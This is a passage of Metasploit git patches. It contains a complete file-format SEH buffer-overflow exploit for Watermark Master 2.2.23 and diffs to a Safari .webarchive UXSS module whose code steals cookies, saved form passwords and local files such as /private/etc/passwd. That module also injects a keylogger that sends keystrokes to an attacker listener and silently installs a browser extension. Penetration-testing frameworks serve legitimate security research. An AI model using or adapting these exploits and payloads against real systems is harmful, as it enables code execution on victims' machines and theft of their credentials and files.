Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Watermark Master Buffer Overflow (SEH)', + 'Description' => %q{ + This module exploits a stack based buffer overflow in Watermark Master 2.2.23 when + processing a specially crafted .WCF file. This vulnerability could be + exploited by a remote attacker to execute arbitrary code on the target + machine by enticing a user of Watermark Master to open a malicious .WCF file. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'metacom', # Original discovery + 'Andrew Smith', # MSF Module + ], + 'References' => + [ + [ 'OSVDB', '99226' ], + [ 'CVE', '2013-6935'], + [ 'EBD', '29327' ] + ], + 'DefaultOptions' => + { + 'ExitFunc' => 'process', + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d\x3c\x22\x26", + 'DisableNops' => true, + 'Space' => 7276 + }, + + 'Targets' => + [ + [ 'Watermark Master 2.2.23', + { + 'Ret' => 0x10015f2d, #p/p/r | CommonClassesMFC.dll + 'Offset' => 516 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 1 2013', + 'DefaultTarget' => 0)) + + register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.wcf']),], self.class) + + end + + def exploit + + buffer = rand_text(target['Offset']) + buffer << generate_seh_record(target.ret) + buffer << make_nops(100) + buffer << payload.encoded + buffer << rand_text(10000) + + file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.2.23.00"> +<cols name="Files"/> +<cols name="Profiles"> +<Property name="Profile"> +<cols name="Watermarks"/> +<cols name="Timelines"/> +<cols name="Streams"> +<Property name="Stream"> +<Value name="SourcePath" type="8" value="#{buffer}"/> +</Property> +</cols> +<cols name=""/> +</Property> +</cols> +</config>| + + print_status("Creating '#{datastore['FILENAME']}' file ...") + file_create(file) + + end +end + From 361624161baf06da9bdc66da0f1553d969cfb2e9 Mon Sep 17 00:00:00 2001 From: jakxx <jakx.ppr@gmail.com> Date: Thu, 13 Aug 2015 16:27:27 -0400 Subject: [PATCH 0270/2172] msftidy --- modules/exploits/windows/fileformat/watermark_master.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/watermark_master.rb b/modules/exploits/windows/fileformat/watermark_master.rb index fbbcb62ed9..cf57168fbd 100644 --- a/modules/exploits/windows/fileformat/watermark_master.rb +++ b/modules/exploits/windows/fileformat/watermark_master.rb @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote </cols> </config>| - print_status("Creating '#{datastore['FILENAME']}' file ...") + print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(file) end From 6e1c714b2bd6b734cf312a5ae310a77239d6050b Mon Sep 17 00:00:00 2001 From: jakxx <jakx.ppr@gmail.com> Date: Thu, 13 Aug 2015 17:24:18 -0400 Subject: [PATCH 0271/2172] Update to leverage auto-NOP generation --- modules/exploits/windows/fileformat/watermark_master.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/windows/fileformat/watermark_master.rb b/modules/exploits/windows/fileformat/watermark_master.rb index cf57168fbd..fa01606f2b 100644 --- a/modules/exploits/windows/fileformat/watermark_master.rb +++ b/modules/exploits/windows/fileformat/watermark_master.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Payload' => { 'BadChars' => "\x00\x0a\x0d\x3c\x22\x26", - 'DisableNops' => true, + 'DisableNops' => false, 'Space' => 7276 }, @@ -65,9 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote buffer = rand_text(target['Offset']) buffer << generate_seh_record(target.ret) - buffer << make_nops(100) buffer << payload.encoded - buffer << rand_text(10000) file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.2.23.00"> <cols name="Files"/> From e9d3289c23c4e406cadeaf8a0e3e84ab98a364b2 Mon Sep 17 00:00:00 2001 From: jakxx <jakx.ppr@gmail.com> Date: Thu, 13 Aug 2015 17:25:31 -0400 Subject: [PATCH 0272/2172] EXITFUNC caps --- modules/exploits/windows/fileformat/watermark_master.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/watermark_master.rb b/modules/exploits/windows/fileformat/watermark_master.rb index fa01606f2b..eb1fe53cd9 100644 --- a/modules/exploits/windows/fileformat/watermark_master.rb +++ b/modules/exploits/windows/fileformat/watermark_master.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunc' => 'process', + 'EXITFUNC' => 'process', }, 'Platform' => 'win', 'Payload' => From 84144bf6cf9650f83511771290b2d639b35ac895 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Thu, 13 Aug 2015 23:27:48 -0500 Subject: [PATCH 0273/2172] Update webarchive_uxss to use the webarchive mixin. - Fixes extension installation to use a new window, not an iframe - Steals the entire cookie file - Removes cache poisoning scripts, which no longer seem to work --- .../gather/apple_safari_webarchive_uxss.rb | 864 +----------------- 1 file changed, 44 insertions(+), 820 deletions(-) diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index fa826e67d2..b62865e0ff 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -4,28 +4,24 @@ ## require 'msf/core' +require 'msf/core/exploit/format/webarchive' require 'uri' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Format::Webarchive include Msf::Auxiliary::Report - # [Array<Array<Hash>>] list of poisonable scripts per user-specified URLS - attr_accessor :scripts_to_poison - def initialize(info = {}) super(update_info(info, - 'Name' => 'Apple Safari .webarchive File Format UXSS', + 'Name' => 'Mac OS X Safari .webarchive File Format UXSS', 'Description' => %q{ - This module exploits a security context vulnerability that is inherent - in Safari's .webarchive file format. The format allows you to - specify both domain and content, so we can run arbitrary script in the - context of any domain. This allows us to steal cookies, file URLs, and saved - passwords from any website we want -- in other words, it is a universal - cross-site scripting vector (UXSS). On sites that link to cached javascripts, - we can additionally poison user's browser cache and install keyloggers. + Generates a .webarchive file for Mac OS X Safari that will attempt to + inject cross-domain Javascript (UXSS), silently install a browser + extension, collect user information, steal the cookie database, + and steal arbitrary local files. }, 'License' => MSF_LICENSE, 'Author' => 'joev', @@ -34,785 +30,51 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/04/25/abusing-safaris-webarchive-file-format'] ], 'DisclosureDate' => 'Feb 22 2013', - 'Actions' => - [ - [ 'WebServer' ] - ], - 'PassiveActions' => - [ - 'WebServer' - ], + 'Actions' => [ [ 'WebServer' ] ], + 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer')) - - register_options( - [ - OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']), - OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://rapid7.com http://example.com']), - OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']), - OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive.', '/msf.webarchive']), - OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']), - OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']), - OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]), - OptBool.new('STEAL_FILES', [true, "Enable local file stealing.", true]), - OptBool.new('INSTALL_KEYLOGGERS', [true, "Attempt to poison the user's cache with a javascript keylogger.", true]), - OptBool.new('STEAL_FORM_DATA', [true, "Enable form autofill stealing.", true]), - OptBool.new('ENABLE_POPUPS', [false, "Enable the popup window fallback method for stealing form data.", true]) - ], - self.class) end def run - if should_install_keyloggers? - print_status("Fetching URLs to parse and look for cached assets...") - self.scripts_to_poison = find_cached_scripts + if datastore["URIPATH"].blank? + datastore["URIPATH"] = "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6) end + print_status("Creating '#{datastore['FILENAME']}' file...") file_create(webarchive_xml) - print_status("Running WebServer...") - start_http - end - - def cleanup - super - # clear my resource, deregister ref, stop/close the HTTP socket - begin - @http_service.remove_resource(collect_data_uri) - @http_service.deref - @http_service.stop - @http_service.close - @http_service = nil - rescue - end - end - - # - # Ensures that gzip can be used. If not, an exception is generated. The - # exception is only raised if the DisableGzip advanced option has not been - # set. - # - def use_zlib - if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) - fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") - end - end - - # - # Handle the HTTP request and return a response. Code borrorwed from: - # msf/core/exploit/http/server.rb - # - def start_http(opts={}) - # Ensture all dependencies are present before initializing HTTP - use_zlib - - comm = datastore['ListenerComm'] - if (comm.to_s == "local") - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end - - # Default the server host / port - opts = { - 'ServerHost' => datastore['SRVHOST'], - 'ServerPort' => datastore['SRVPORT'], - 'Comm' => comm - }.update(opts) - - # Start a new HTTP server - @http_service = Rex::ServiceManager.start( - Rex::Proto::Http::Server, - opts['ServerPort'].to_i, - opts['ServerHost'], - datastore['SSL'], - { - 'Msf' => framework, - 'MsfExploit' => self, - }, - opts['Comm'], - datastore['SSLCert'] - ) - - @http_service.server_name = datastore['HTTP::server_name'] - - # Default the procedure of the URI to on_request_uri if one isn't - # provided. - uopts = { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => collect_data_uri - }.update(opts['Uri'] || {}) - - proto = (datastore["SSL"] ? "https" : "http") - print_status("Data capture URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") - - if (opts['ServerHost'] == '0.0.0.0') - print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") - end - - # Add path to resource - @service_path = uopts['Path'] - @http_service.add_resource(uopts['Path'], uopts) - - # Add path to download - uopts = { - 'Proc' => Proc.new { |cli, req| - resp = Rex::Proto::Http::Response::OK.new - resp['Content-Type'] = 'application/x-webarchive' - resp.body = @xml.to_s - cli.send_response resp - }, - 'Path' => webarchive_download_url - }.update(opts['Uri'] || {}) - @http_service.add_resource(webarchive_download_url, uopts) - - print_status("Download URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{webarchive_download_url}") - - # As long as we have the http_service object, we will keep the ftp server alive - while @http_service - select(nil, nil, nil, 1) - end + exploit end def on_request_uri(cli, request) - begin - data_str = if request.body.size > 0 - request.body - else - request.qstring['data'] + if request.method =~ /post/i + data_str = request.body.to_s + begin + data = JSON::parse(data_str || '') + file = record_data(data, cli) + send_response_html(cli, '') + print_good "#{data_str.length} chars received and stored to #{file}" + rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up + file = record_data(data_str, cli) + print_error "Invalid JSON stored in #{file}" + send_response_html(cli, '') end - data = JSON::parse(data_str || '') - file = record_data(data, cli) - send_response_html(cli, '') - print_good "#{data_str.length} chars received and stored to #{file}" - rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up - print_error "Invalid JSON received: #{data_str}" - send_not_found(cli) + else + send_response(cli, webarchive_xml, { + 'Content-Type' => 'application/x-webarchive', + 'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\"" + }) end end # @param [Hash] data the data to store in the log # @return [String] filename where we are storing the data def record_data(data, cli) - @client_cache ||= Hash.new({}) - @client_cache[cli.peerhost]['file'] ||= store_loot( - "safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data" + if data.is_a? Hash + file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'') + end + store_loot( + file || "data", "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data" ) - file = @client_cache[cli.peerhost]['file'] - - @client_cache[cli.peerhost]['data'] ||= [] - @client_cache[cli.peerhost]['data'].push(data) - data_str = JSON.generate(@client_cache[cli.peerhost]['data']) - - File.write(file, data_str) - - file - end - - ### ASSEMBLE THE WEBARCHIVE XML ### - - # @return [String] contents of webarchive as an XML document - def webarchive_xml - return @xml if not @xml.nil? # only compute xml once - @xml = webarchive_header - urls.each_with_index { |url, idx| @xml << webarchive_iframe(url, idx) } - @xml << webarchive_footer - end - - # @return [String] the first chunk of the webarchive file, containing the WebMainResource - def webarchive_header - %Q| - <?xml version="1.0" encoding="UTF-8"?> - <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" - "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - <plist version="1.0"> - <dict> - <key>WebMainResource</key> - <dict> - <key>WebResourceData</key> - <data> - #{Rex::Text.encode_base64(iframes_container_html)}</data> - <key>WebResourceFrameName</key> - <string></string> - <key>WebResourceMIMEType</key> - <string>text/html</string> - <key>WebResourceTextEncodingName</key> - <string>UTF-8</string> - <key>WebResourceURL</key> - <string>file:///</string> - </dict> - <key>WebSubframeArchives</key> - <array> - | - end - - # @return [String] the XML markup to insert into the webarchive for each unique - # iframe (we use one frame per site we want to steal) - def webarchive_iframe(url, idx) - %Q| - <dict> - <key>WebMainResource</key> - <dict> - <key>WebResourceData</key> - <data> - #{Rex::Text.encode_base64(iframe_content_for_url(url))}</data> - <key>WebResourceFrameName</key> - <string><!--framePath //<!--frame#{idx}-->--></string> - <key>WebResourceMIMEType</key> - <string>text/html</string> - <key>WebResourceTextEncodingName</key> - <string>UTF-8</string> - <key>WebResourceURL</key> - <string>#{escape_xml url}</string> - </dict> - #{webarchive_iframe_subresources(url, idx)} - </dict> - | - end - - # @return [String] the XML mark up for adding a set of "stored" resources at - # the given URLs - def webarchive_iframe_subresources(url, idx) - %Q| - <key>WebSubresources</key> - <array> - #{webarchive_resources_for_poisoning_cache(url)} - </array> - | - end - - # @return [String] the XML markup to insert into the webarchive for each unique - # iframe (we use one frame per site we want to steal) - # @return '' if msf user does not want to poison cache - def webarchive_resources_for_poisoning_cache(url) - if not should_install_keyloggers? then return '' end - - url_idx = urls.index(url) - scripts = scripts_to_poison[url_idx] || [] - xml_dicts = scripts.map do |script| - script_body = inject_js_keylogger(script[:body]) - %Q| - <dict> - <key>WebResourceData</key> - <data> - #{Rex::Text.encode_base64(script_body)} - </data> - <key>WebResourceMIMEType</key> - <string>application/javascript</string> - <key>WebResourceResponse</key> - <data> - #{Rex::Text.encode_base64 web_response_xml(script)} - </data> - <key>WebResourceURL</key> - <string>#{escape_xml script[:url]}</string> - </dict> - | - end - xml_dicts.join - end - - # @return [String] the closing chunk of the webarchive XML code - def webarchive_footer - %Q| - </array> - </dict> - </plist> - | - end - - # @param script [Hash] containing HTTP headers from the request - # @return [String] xml markup for serialized WebResourceResponse containing good - # stuff like HTTP/caching headers. Safari appears to do the following: - # NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data]; - # [a encodeObject:response forKey:@"WebResourceResponse"]; - def web_response_xml(script) - # this is a serialized NSHTTPResponse, i'm too lazy to write a - # real encoder so yay lets use string interpolation. - # ripped this straight out of a webarchive save - script['content-length'] = script[:body].length - whitelist = %w(content-type content-length date etag - Last-Modified cache-control expires) - headers = script.clone.delete_if { |k, v| not whitelist.include? k } - - key_set = headers.keys.sort - val_set = key_set.map { |k| headers[k] } - key_refs = key_set.each_with_index.map do |k, i| - { 'CF$UID' => 9+i } - end - val_refs = key_set.each_with_index.map do |k, i| - { 'CF$UID' => 9+key_set.length+i } - end - %Q| - <?xml version="1.0" encoding="UTF-8"?> - <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - <plist version="1.0"> - <dict> - <key>$archiver</key> - <string>NSKeyedArchiver</string> - <key>$objects</key> - <array> - <string>$null</string> - <dict> - <key>$0</key> - <integer>8</integer> - <key>$1</key> - <integer>1</integer> - <key>$10</key> - <integer>8</integer> - <key>$11</key> - <integer>0</integer> - <key>$2</key> - <integer>7</integer> - <key>$3</key> - <dict> - <key>CF$UID</key> - <integer>2</integer> - </dict>|+ - (4..7).map do |i| - %Q| - <key>$#{i}</key> - <dict> - <key>CF$UID</key> - <integer>#{i+1}</integer> - </dict>| - end.join("\n") + %Q| - <key>$8</key> - <dict> - <key>CF$UID</key> - <integer>#{8+key_set.length*2+2}</integer> - </dict> - <key>$9</key> - <dict> - <key>CF$UID</key> - <integer>0</integer> - </dict> - <key>$class</key> - <dict> - <key>CF$UID</key> - <integer>#{8+key_set.length*2+3}</integer> - </dict> - </dict> - <dict> - <key>$class</key> - <dict> - <key>CF$UID</key> - <integer>4</integer> - </dict> - <key>NS.base</key> - <dict> - <key>CF$UID</key> - <integer>0</integer> - </dict> - <key>NS.relative</key> - <dict> - <key>CF$UID</key> - <integer>3</integer> - </dict> - </dict> - <string>#{escape_xml script[:url]}</string> - <dict> - <key>$classes</key> - <array> - <string>NSURL</string> - <string>NSObject</string> - </array> - <key>$classname</key> - <string>NSURL</string> - </dict> - <real>388430153.25252098</real> - <integer>1</integer> - <integer>200</integer> - <dict> - <key>$class</key> - <dict> - <key>CF$UID</key> - <integer>#{8+key_set.length*2+1}</integer> - </dict> - <key>NS.keys</key> - <array>|+ - key_set.each_with_index.map do |k, i| - %Q|<dict> - <key>CF$UID</key> - <integer>#{9+i}</integer> - </dict>| - end.join("\n") + %Q| - </array> - <key>NS.objects</key> - <array>|+ - val_set.each_with_index.map do |k, i| - %Q|<dict> - <key>CF$UID</key> - <integer>#{9+key_set.length+i}</integer> - </dict>| - end.join("\n") + %Q| - </array> - </dict> - #{key_set.map{|s| "<string>#{s}</string>" }.join("\n")} - #{val_set.map{|s| "<string>#{s}</string>" }.join("\n")} - <dict> - <key>$classes</key> - <array> - <string>NSMutableDictionary</string> - <string>NSDictionary</string> - <string>NSObject</string> - </array> - <key>$classname</key> - <string>NSMutableDictionary</string> - </dict> - <integer>107961</integer> - <dict> - <key>$classes</key> - <array> - <string>NSHTTPURLResponse</string> - <string>NSURLResponse</string> - <string>NSObject</string> - </array> - <key>$classname</key> - <string>NSHTTPURLResponse</string> - </dict> - </array> - <key>$top</key> - <dict> - <key>WebResourceResponse</key> - <dict> - <key>CF$UID</key> - <integer>1</integer> - </dict> - </dict> - <key>$version</key> - <integer>100000</integer> - </dict> - </plist> - | - end - - - #### JS/HTML CODE #### - - # Wraps the result of the block in an HTML5 document and body - def wrap_with_doc(&blk) - %Q| - <!doctype html> - <html> - <body> - #{yield} - </body> - </html> - | - end - - # Wraps the result of the block with <script> tags - def wrap_with_script(&blk) - "<script>#{yield}</script>" - end - - # @return [String] mark up for embedding the iframes for each URL in a place that is - # invisible to the user - def iframes_container_html - hidden_style = "position:fixed; left:-600px; top:-600px;" - wrap_with_doc do - frames = urls.map { |url| "<iframe src='#{url}' style='#{hidden_style}'></iframe>" } - communication_js + frames.join + injected_js_helpers + steal_files + message - end - end - - # @return [String] javascript code, wrapped in script tags, that is inserted into the - # WebMainResource (parent) frame so that child frames can communicate "up" to the parent - # and send data out to the listener - def communication_js - wrap_with_script do - %Q| - window.addEventListener('message', function(event){ - var x = new XMLHttpRequest; - x.open('POST', '#{backend_url}#{collect_data_uri}', true); - x.send(event.data); - }); - | - end - end - - # @return [String] all the HTML markup required for executing the chosen attacks - def iframe_content_for_url(url) - # this JS code runs inside the iframes, in the context of url - html = '' - html << injected_js_helpers - html << trigger_cache_poison_for_url(url) if should_install_keyloggers? - html << steal_cookies_for_url(url) if should_steal_cookies? - html << steal_form_data_for_url(url) if should_steal_form? - wrap_with_doc { html } - end - - # @return [String] javascript code, wrapped in a script tag, that steals the cookies - # and response body/headers, and passes them back up to the parent. - def steal_cookies_for_url(url) - wrap_with_script do - %Q| - try { - var req = new XMLHttpRequest(); - var sent = false; - req.open('GET', '#{url}', true); - req.onreadystatechange = function() { - if (req.readyState==4 && !sent) { - sendData('#{url}', { - response_headers: req.getAllResponseHeaders(), - response_body: req.responseText - }); - sent = true; - } - }; - req.send(null); - } catch (e) {} - sendData('cookie', document.cookie); - | - end - end - - # @return [String] javascript code, wrapped in a script tag, that steals local files - # and sends them back to the listener. This code is executed in the WebMainResource (parent) - # frame, which runs in the file:// protocol - def steal_files - return '' unless should_steal_files? - urls_str = [datastore['FILE_URLS'], interesting_file_urls.join(' ')].join(' ') - wrap_with_script do - %Q| - var filesStr = "#{urls_str}"; - var files = filesStr.trim().split(/\s+/); - var stealFile = function(url) { - var req = new XMLHttpRequest(); - var sent = false; - req.open('GET', url, true); - req.onreadystatechange = function() { - if (!sent && req.responseText && req.responseText.length > 0) { - sendData(url, req.responseText); - sent = true; - } - }; - req.send(null); - }; - for (var i = 0; i < files.length; i++) stealFile(files[i]); - | - end - end - - # @return [String] javascript code, wrapped in a script tag, that steals autosaved form - # usernames and passwords. The attack first tries to render the target URL in an iframe, - # and steal populated passwords from there. If the site disables iframes through the - # X-Frame-Options header, we try popping open a new window and rendering the site in that. - def steal_form_data_for_url(url) - wrap_with_script do - %Q| - var stealFormData = function(win, completeFn) { - var doc = win.document; - if (!doc) doc = win.contentDocument; - return function() { - var data = {}, found = false; - try { - var inputs = doc.querySelectorAll( - 'input[type=email],input[type=text],input[type=password],textarea' - ); - for (var i = 0; i < inputs.length; i++) { - if (inputs[i].value && inputs[i].value.length > 0) { - found = true; - data[inputs[i].name] = inputs[i].value; - } - } - if (found) sendData(data); - if (completeFn) completeFn.call(); - } catch(e) {} - } - } - - var tryInNewWin = function() { - var y = window.open('#{url}', '_blank', 'height=0;width=0;location=0;left=200;'); - if (y) { - var int1 = window.setInterval(function(){y.blur();window.top.focus();}, 20); - y.addEventListener('load', function() { - window.setTimeout(stealFormData(y, function(){ - if (int1) { - window.clearInterval(int1); - int1 = null; - } - y.close(); - }), 500); - }, false); - } - }; - var tryInIframe = function(){ - var i = document.createElement('iframe'); - i.style = 'position:absolute;width:2px;height:2px;left:-2000px;top:-2000px;'; - document.body.appendChild(i); - i.src = '#{url}'; - i.addEventListener('load', function() { - window.setTimeout(stealFormData(i), 500); - }, false); - return i; - }; - - var iframe = tryInIframe(); - if (#{should_pop_up?}) { - window.setTimeout(function(){ - - if (iframe.contentDocument && - iframe.contentDocument.location.href == 'about:blank') { - tryInNewWin(); - } - }, 1000) - } - | - end - end - - # @return [String] javascript code, wrapped in script tag, that adds a helper function - # called "sendData()" that passes the arguments up to the parent frame, where it is - # sent out to the listener - def injected_js_helpers - wrap_with_script do - %Q| - window.sendData = function(key, val) { - var data = {}; - data[key] = val; - window.top.postMessage(JSON.stringify(data), "*") - }; - | - end - end - - # @return [String] HTML markup that includes a script at the URL we want to poison - # We will then install the injected_js_keylogger at the same URL - def trigger_cache_poison_for_url(url) - url_idx = urls.index(url) - scripts_to_poison[url_idx].map { |s| - "\n<script src='#{s[:url]}' type='text/javascript'></script>\n" - }.join - end - - # @param original_js [String] the original contents of the script file - # @return [String] the poisoned contents. Once the module has found a valid 304'd script to - # poison, it "poisons" it by adding a keylogger, then adds the output as a resource with - # appropriate Cache-Control to the webarchive. - # @return [String] the original contents if msf user does not want to install keyloggers - def inject_js_keylogger(original_js) - if not should_install_keyloggers? - original_js - else - frame_name = 'lalala___lalala' - secret = '____INSTALLED!??!' - %Q| - (function(){ - if (window['#{secret}']) return; - window['#{secret}'] = true; - document.addEventListener('DOMContentLoaded',function(){ - var buffer = ''; - var sendData = function(keystrokes, time) { - var img = new Image(); - data = JSON.stringify({keystrokes: keystrokes, time: time}); - img.src = '#{backend_url}#{collect_data_uri}?data='+data; - } - document.addEventListener('keydown', function(e) { - var c = String.fromCharCode(e.keyCode); - if (c.length > 0) buffer += c; - }, true); - window.setInterval(function(){ - if (buffer.length > 0) { - sendData(buffer, new Date); - buffer = ''; - } - }, 3000) - }); - })(); - #{original_js} - | - end - end - - # @return [Array<Array<String>>] list of URLs provided by the user mapped to all of the linked - # javascript assets in its HTML response. - def all_script_urls(pages) - pages.map do |url| - results = [] - print_status "Fetching URL #{url}..." - # fetch and parse the HTML document - doc = Nokogiri::HTML(URI.parse(url).open) - # recursively add scripts from iframes - doc.css('iframe').each do |iframe| - print_status "Checking iframe..." - if not iframe.attributes['src'].nil? and not iframe.attributes['src'].value.empty? - results += all_script_urls([iframe.attributes['src'].value]) - end - end - # add all scripts on the current page - doc.css('script').each do |script| # loop over every <script> - # external scripts only - if not script.attributes['src'].nil? and not script.attributes['src'].value.empty? - results << script.attributes['src'].value - end - end - results - end - end - - # @return [Array<Array<Hash>>] list of headers returned by cacheabke remote javascripts - def find_cached_scripts - cached_scripts = all_script_urls(urls).each_with_index.map do |urls_for_site, i| - begin - page_uri = URI.parse(urls[i]) - rescue URI::InvalidURIError => e - next - end - - results = urls_for_site.uniq.map do |url| - begin - print_status "URL: #{url}" - begin - script_uri = URI.parse(url) - if script_uri.relative? - url = page_uri + url - end - if url.to_s.starts_with? '//' - url = "#{page_uri.scheme}:#{url}" - end - io = URI.parse(url).open - rescue URI::InvalidURIError, OpenURI::HTTPError - next - end - - # parse some HTTP headers and do type coercions - last_modified = io.last_modified - expires = Time.parse(io.meta['expires']) rescue nil - cache_control = io.meta['cache-control'] || '' - charset = io.charset - etag = io.meta['etag'] - # lets see if we are able to "poison" the cache for this asset... - if (!expires.nil? && Time.now < expires) or - (cache_control.length > 0) or # if asset is cacheable - (not last_modified.nil? and last_modified.to_s.length > 0) - print_status("Found cacheable #{url}") - io.meta.merge(:body => io.read, :url => url) - else - nil - end - rescue Errno::ENOENT => e # lots of things can go wrong here. - next - end - end - results.compact # remove nils - end - print_status "Found #{cached_scripts.flatten.length} script(s) that are poisonable." - cached_scripts - end - - ### HELPERS ### - - # @return [String] the path to send data back to - def collect_data_uri - path = datastore["URIPATH"] - if path.nil? or path.empty? - '/grab' - elsif path =~ /^\// - path - else - "/#{path}" - end end # @return [String] formatted http/https URL of the listener @@ -820,60 +82,22 @@ class Metasploit3 < Msf::Auxiliary proto = (datastore["SSL"] ? "https" : "http") myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" - "#{proto}://#{myhost}#{port_str}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" end - # @return [String] URL that serves the malicious webarchive - def webarchive_download_url - datastore["DOWNLOAD_PATH"] - end - - # @return [Array<String>] of interesting file URLs to steal. Additional files can be stolen - # via the FILE_URLS module option. - def interesting_file_urls - [ - 'file:///var/log/weekly.out', # may contain usernames - 'file:///private/var/log/secure.log', - 'file:///private/var/log/install.log', - 'file:///private/etc/passwd' - ] - end - - # @return [String] HTML content that is rendered in the <body> of the webarchive. def message - "<p>You are being redirected. <a href='#'>Click here if nothing happens</a>.</p>" + super + (datastore['INSTALL_EXTENSION'] ? " <a href='javascript:void(0)'>Click here to continue.</a>" + popup_js : '') end - # @return [Array<String>] of URLs provided by the user - def urls - (datastore['URLS'] || '').split(/\s+/) + def popup_js + wrap_with_script do + %Q| + window.onclick = function() { + window.open('data:text/html,<script>opener.postMessage("EXT", "*");window.location="#{apple_extension_url}";<\\/script>'); + }; + | + end end - # @param input [String] the unencoded string - # @return [String] input with dangerous chars replaced with xml entities - def escape_xml(input) - input.to_s.gsub("&", "&").gsub("<", "<") - .gsub(">", ">").gsub("'", "'") - .gsub("\"", """) - end - def should_steal_cookies? - datastore['STEAL_COOKIES'] - end - - def should_steal_form? - datastore['STEAL_FORM_DATA'] - end - - def should_steal_files? - datastore['STEAL_FILES'] - end - - def should_pop_up? - should_steal_form? and datastore['ENABLE_POPUPS'] - end - - def should_install_keyloggers? - datastore['INSTALL_KEYLOGGERS'] - end end From 0615d908c4db283b472cf1c1bb035b3d036defc8 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Thu, 13 Aug 2015 23:46:37 -0500 Subject: [PATCH 0274/2172] Update description to explain quarantine effects. --- modules/auxiliary/gather/apple_safari_webarchive_uxss.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index b62865e0ff..98d347f89d 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -22,6 +22,10 @@ class Metasploit3 < Msf::Auxiliary inject cross-domain Javascript (UXSS), silently install a browser extension, collect user information, steal the cookie database, and steal arbitrary local files. + + When opened on the target machine the webarchive file must not have the + quarantine attribute set, as this forces the webarchive to execute in a + sandbox. }, 'License' => MSF_LICENSE, 'Author' => 'joev', From e2b6c11a3e243e6ecc1886bd3d4f41425fad553b Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Fri, 14 Aug 2015 15:52:08 +0100 Subject: [PATCH 0275/2172] Update --- .../post/windows/manage/forward_pageant.rb | 28 +++++++++++++++++-- 1 file changed, 26 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index c013245e34..4f7df81e07 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -92,9 +92,9 @@ class Metasploit3 < Msf::Post rescue break end - vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{response[:error]}')") + vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')") else - 